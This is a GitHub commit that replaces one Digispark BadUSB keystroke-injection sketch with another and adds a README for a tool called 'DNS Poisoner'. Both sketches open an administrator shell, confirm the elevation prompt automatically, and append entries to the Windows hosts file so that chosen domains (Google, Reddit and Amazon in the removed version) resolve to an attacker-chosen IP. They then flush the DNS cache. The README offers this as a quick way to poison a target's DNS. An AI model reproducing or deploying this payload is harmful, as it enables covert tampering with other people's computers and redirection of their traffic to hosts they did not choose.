This commit is contained in:
Maciej 2022-09-05 22:24:11 +02:00 committed by GitHub
commit 575f0611ef
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
3 changed files with 44 additions and 25 deletions

View File

@ -1,25 +0,0 @@
#include "DigiKeyboard.h"
void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
//This opens an administrator command prompt
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
DigiKeyboard.delay(500);
//Adds the set websites & ips to the hosts file in windows, currently all redirect to dell
DigiKeyboard.println("ECHO 143.166.83.38 www.google.com >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS");
DigiKeyboard.println("ECHO 143.166.83.38 google.com >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS");
DigiKeyboard.println("ECHO 143.166.83.38 www.reddit.com >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS");
DigiKeyboard.println("ECHO 143.166.83.38 reddit.com >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS");
DigiKeyboard.println("ECHO 143.166.83.38 www.amazon.co.uk >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS");
DigiKeyboard.println("ECHO 143.166.83.38 amazon.co.uk >> C:/SYSTEM32/DRIVERS/ETC/HOSTS");
//clears dns cache
DigiKeyboard.println("ipconfig /flushdns");
//exits the terminal
DigiKeyboard.println("exit");
for(;;){ /*empty*/ }
}

View File

@ -0,0 +1,31 @@
/*
TESTED ON WINDOWS 11
[IP ADDRESS] -> ip addres you want redirect to
[HOST NAME] -> domain you want to change
*/
#include "DigiKeyboard.h"
void setup() {}
void loop() {
//open admin powershell
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("powershell");
DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT + MOD_SHIFT_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.println("Add-Content C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS \"`n[IP ADDRESS][HOST NAME]\"");
//flush dns cache
DigiKeyboard.println("ipconfig /flushdns");
//exits the terminal
DigiKeyboard.println("exit");
for(;;){ /*empty*/ }
}

13
DNS_Poisoner/README.md Normal file
View File

@ -0,0 +1,13 @@
## DNS Poisoner
Fast and easy way poison target DNS
### Instructions
#### Before you start you need to change following inside the file:
[IP ADDRESS] -> ip addres you want redirect to
[HOST NAME] -> domain you want to change
___
**TESTED WINDOWS 11**